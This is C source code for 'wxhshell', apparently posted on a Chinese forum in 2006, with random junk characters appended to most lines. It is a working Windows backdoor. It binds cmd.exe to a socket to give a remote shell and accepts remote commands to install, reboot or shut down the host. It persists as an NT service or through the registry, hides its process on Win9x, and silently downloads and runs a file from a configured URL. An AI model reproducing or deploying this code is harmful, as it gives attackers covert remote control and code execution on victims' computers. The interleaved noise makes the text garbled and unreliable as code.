  else wENzlXeOP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OZG0AX+=#  
  } zLh Fbyn(  
  else { LRWOBD  
mRCHrw?WG  
    switch(cmd[0]) { a IQOs  
  "hW(S  
  // 帮助 i#k-)N _$  
  case '?': { ?RDO] I>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);   7krh4  
    break; ])C>\@c6Gm  
  } G OpjRA@  
  // 安装 pqJ)G;%9  
  case 'i': { Gi*<~`Gr  
    if(Install()) ; VBpp<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ai4PM b$p  
    else 0Su_#".-*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [G\o+D?2  
    break; ( ]OFS;%  
    } h77IWo6%  
  // 卸载 yOc|*O=]U  
  case 'r': { Ee8--  
    if(Uninstall()) aRX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hr6wgYPi  
    else 9<v}LeX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pzg&/m&F`  
    break; +lKrj\Xj  
    } 2hy NVG&$  
  // 显示 wxhshell 所在路径 u%xDsT DP  
  case 'p': { ]/_G-2.R  
    char svExeFile[MAX_PATH]; )=Zsv40O  
    strcpy(svExeFile,"\n\r"); E`tQe5K  
      strcat(svExeFile,ExeFile); kQ~ %=pn  
        send(wsh,svExeFile,strlen(svExeFile),0); P% Q@9kO>  
    break; O4E(R?wd  
    } l DnMjK\M  
  // 重启 /~*Cp9F"]  
  case 'b': { 6|^0_6_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?PH/?QP  
    if(Boot(REBOOT)) @rwU 1T33  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6/6Rah!  
    else { 9cfR)*Q  
    closesocket(wsh); kaQ2A  
    ExitThread(0); 9P.(^SD][z  
    } K%gP5>y*9>  
    break; Q0~j$Jc  
    } V7C1FV2  
  // 关机 %hINpZMr  
  case 'd': { nm@']  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0^#DNq*NQ  
    if(Boot(SHUTDOWN)) e g3L:rk_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JMlV@t7y<  
    else { <'&F;5F3V  
    closesocket(wsh); p)3nyN=|_  
    ExitThread(0); "K?Q  
    } O k7zpq  
    break; R#qI( V  
    } iF9_b  
  // 获取shell 4x,hj  
  case 's': { }Hy ~i  
    CmdShell(wsh); ;S JF%@x  
    closesocket(wsh); 7>n"}8i  
    ExitThread(0); IgM v =^U  
    break; >]&X ^V%Q#  
  } 4o5i ."l  
  // 退出 l6 7KJ  
  case 'x': { +\`rmI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fbC~WV#  
    CloseIt(wsh); Mo^`\ /x!  
    break; ZL_[4 Y  
    } ;%zC@a~{  
  // 离开 qn"K9k  
  case 'q': { Rj6|Y"gq9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SDBt @=Nl  
    closesocket(wsh); 6 h'&6  
    WSACleanup(); 6RK\}@^=K  
    exit(1); 2z\;Q8g){r  
    break; SW9fE :v  
        } Gt~JA0+C)7  
  } ]ii+S"U3  
  } w sY}JT  
Qn=$8!Qqa  
  // 提示信息 n29(!10Px  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1 Z[f {T)  
} SUE ~rb  
  } /1fwl5\  
tu}>:mk  
  return; !buz<h  
} (E!!pz  
=+oZtP-+o  
// shell模块句柄 `\b+[Nes  
int CmdShell(SOCKET sock) ngyY  
{ g7V_ [R(6  
STARTUPINFO si; LE;g 0s  
ZeroMemory(&si,sizeof(si)); "s_Z&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lhPGE_\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )2.)3w1_4  
PROCESS_INFORMATION ProcessInfo; :&yDqoQKJ  
char cmdline[]="cmd"; u$\a3yi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +nU.p/cK+\  
  return 0; w~+aW(2  
} 'uC59X4l  
7z'h a?  
// 自身启动模式 fN[8N$1-  
int StartFromService(void) ?<~WO?  
{ /[pqI0sf<A  
typedef struct O@&+} D>  
{ DW2>&|  
  DWORD ExitStatus; nSS=%,?  
  DWORD PebBaseAddress; CqoG.1jJS  
  DWORD AffinityMask; !j^&gRH  
  DWORD BasePriority; (tCib 4  
  ULONG UniqueProcessId; "H+,E_&(  
  ULONG InheritedFromUniqueProcessId; e!X(yJI[O6  
}   PROCESS_BASIC_INFORMATION; VLI'    
a5?8QAO~r  
PROCNTQSIP NtQueryInformationProcess; ,XB%\[pKe  
Iti0qnBN5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E*CcV;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BIMKsF Zt  
S`= WF^  
  HANDLE             hProcess; q7Es$zjX  
  PROCESS_BASIC_INFORMATION pbi; oF|N O^H  
.+.j*>q>u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8r:M*25  
  if(NULL == hInst ) return 0; Yl({)qK{  
z2 hFn&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?F@%S3h.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,=PKd&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mTf<  
T>d.#  
  if (!NtQueryInformationProcess) return 0; LU2waq}VA  
;Icixu'O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pJ^NA2  
  if(!hProcess) return 0; 74J@F2g}?  
gv.6h{Ut  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EX "|H.(  
<$i4?)f(  
  CloseHandle(hProcess); !1Y&Y@ze  
cxP&^,~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |a(fejO3  
if(hProcess==NULL) return 0; X?Pl<l&  
HuI`#.MpWE  
HMODULE hMod; ]r/^9XaqtA  
char procName[255]; [r-}bp'Gp  
unsigned long cbNeeded; =$^MQ\S0p  
*@S@x{{s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M\2"gT-LV  
'Pd(\$ZY  
  CloseHandle(hProcess); ?J!3j{4e  
#@f[bP}a  
if(strstr(procName,"services")) return 1; // 以服务启动 1~yZ T  
9lzQ\}  
  return 0; // 注册表启动 \k@$~}xD,  
} WZewPn>#q  
EbK0j?  
// 主模块 a)s;dp}T%  
int StartWxhshell(LPSTR lpCmdLine) x\\7G^$<h  
{ F4C!CUI  
  SOCKET wsl; "8<K'zeS8  
BOOL val=TRUE; 1=)r@X/6d  
  int port=0; l|"6yB |  
  struct sockaddr_in door; 7&%^>PU7  
2xxB\J  
  if(wscfg.ws_autoins) Install(); E`;;&V q-  
b>=_*nw9  
port=atoi(lpCmdLine); = [@)R!3H  
oh-|'5+,;h  
if(port<=0) port=wscfg.ws_port; >FF5x#^&c  
k4\UK#ODe  
  WSADATA data; zr_yO`{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /bVZ::A&_  
k2^a$k}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X9=N%GY[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #bnb ': f  
  door.sin_family = AF_INET; h0|}TV^UJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FY'dJY3O  
  door.sin_port = htons(port); 6ghx3_%w  
vfc[p ^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O1y|v[-BW  
closesocket(wsl); ]7YNIS  
return 1; )}lRd#V  
} V%ii3  
Qu\@Y[eia5  
  if(listen(wsl,2) == INVALID_SOCKET) { rNN j0zw>  
closesocket(wsl); Kuw^qX"  
return 1; MXp3g@Cz  
} PS>x,T  
  Wxhshell(wsl); GF<[}  
  WSACleanup(); ?A*Kg;IU  
S33j?+ Vs  
return 0; Qst$S}n  
Ty4S~ClO#'  
} tD=@SX'Y  
x hs#u  
// 以NT服务方式启动 Ve 3 ;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EMvHFu   
{ ]/2T\w.<  
DWORD   status = 0; 2b@tj 5  
  DWORD   specificError = 0xfffffff; @tUoD>f  
8F5|EpB9M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gpj* V|J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8G^<[`.@j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?;ukvD  
  serviceStatus.dwWin32ExitCode     = 0; K >tf,  
  serviceStatus.dwServiceSpecificExitCode = 0; wFS2P+e;X  
  serviceStatus.dwCheckPoint       = 0; v1G"3fy9  
  serviceStatus.dwWaitHint       = 0; } (FPV*mS  
P87# CAN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K7TzF&  
  if (hServiceStatusHandle==0) return; <O~WB  
wVl+]zB  
status = GetLastError(); -%c<IX>z9  
  if (status!=NO_ERROR) #$ thPZ  
{ %ati7{2!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K!z`  
    serviceStatus.dwCheckPoint       = 0; #E7AmmqD%  
    serviceStatus.dwWaitHint       = 0; nA7M8HB  
    serviceStatus.dwWin32ExitCode     = status; \fWW'  
    serviceStatus.dwServiceSpecificExitCode = specificError; |9K<-yD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h:bru:ef  
    return; []kN16F  
  } TbVn6V'  
;T+pu>)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?*"srE,#JX  
  serviceStatus.dwCheckPoint       = 0; BHFY%6J!  
  serviceStatus.dwWaitHint       = 0; !p"aAZT7sq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h11.'Eej`  
} m#e3%150{  
!BIOY!M  
// 处理NT服务事件,比如:启动、停止 VaONd0Z I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q%S9fq,q  
{ sq/]wzT:  
switch(fdwControl) W-~n|PX8+  
{ d4?d4;{  
case SERVICE_CONTROL_STOP: ,FzeOSy'p  
  serviceStatus.dwWin32ExitCode = 0; XMN:]!1J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GwU?wIIj^  
  serviceStatus.dwCheckPoint   = 0; c"tJld5F_  
  serviceStatus.dwWaitHint     = 0; uGU; Y'W)  
  { | tQiFC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \00DqL(Oj`  
  } ;lX(}2tXW  
  return; po9 9 y-  
case SERVICE_CONTROL_PAUSE: KW^<,qt5w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 13'vH]S$M  
  break;  u6u=2  
case SERVICE_CONTROL_CONTINUE: eW'2AT?2H%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tvKAIwe  
  break; a&{X!:X  
case SERVICE_CONTROL_INTERROGATE: Z;Rp+ X  
  break; SlLw{Yb7\.  
}; ,B}I?vN.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ty(@+M~-  
} 1SIq[1  
{Rq1HH  
// 标准应用程序主函数 Uh1NO&i.W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <|Yj%f  
{ uQb!=]  
CI:^\-z  
// 获取操作系统版本 ^rl"rEA  
OsIsNt=GetOsVer(); ppIbjt6r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X.F^$  
AwUi+|7r])  
  // 从命令行安装 #%@*p,xh  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,6^ znOt  
RR;AJ8wd  
  // 下载执行文件 ma$Prd  
if(wscfg.ws_downexe) { @Y,7'0U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -m= 8&B  
  WinExec(wscfg.ws_filenam,SW_HIDE); vP@v.6gS,  
} h4pTq[4*  
'uDjFQX  
if(!OsIsNt) { |tzg :T;  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]&~]#vB#  
HideProc(); )\;Z4x;]U  
StartWxhshell(lpCmdLine); nnb8Gcr  
} z\ss4  
else RyB~Lm`ZK%  
  if(StartFromService()) hd V1nS$  
  // 以服务方式启动 >N\0"F7.  
  StartServiceCtrlDispatcher(DispatchTable); s#Jh -+lM  
else Z4$cyL'$P  
  // 普通方式启动 D0(xNhmKz  
  StartWxhshell(lpCmdLine); EVX{ 7%  
9mc!bj^811  
return 0; wv QMnE8\  
}
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只看该作者 1 发表于: 2006-10-10
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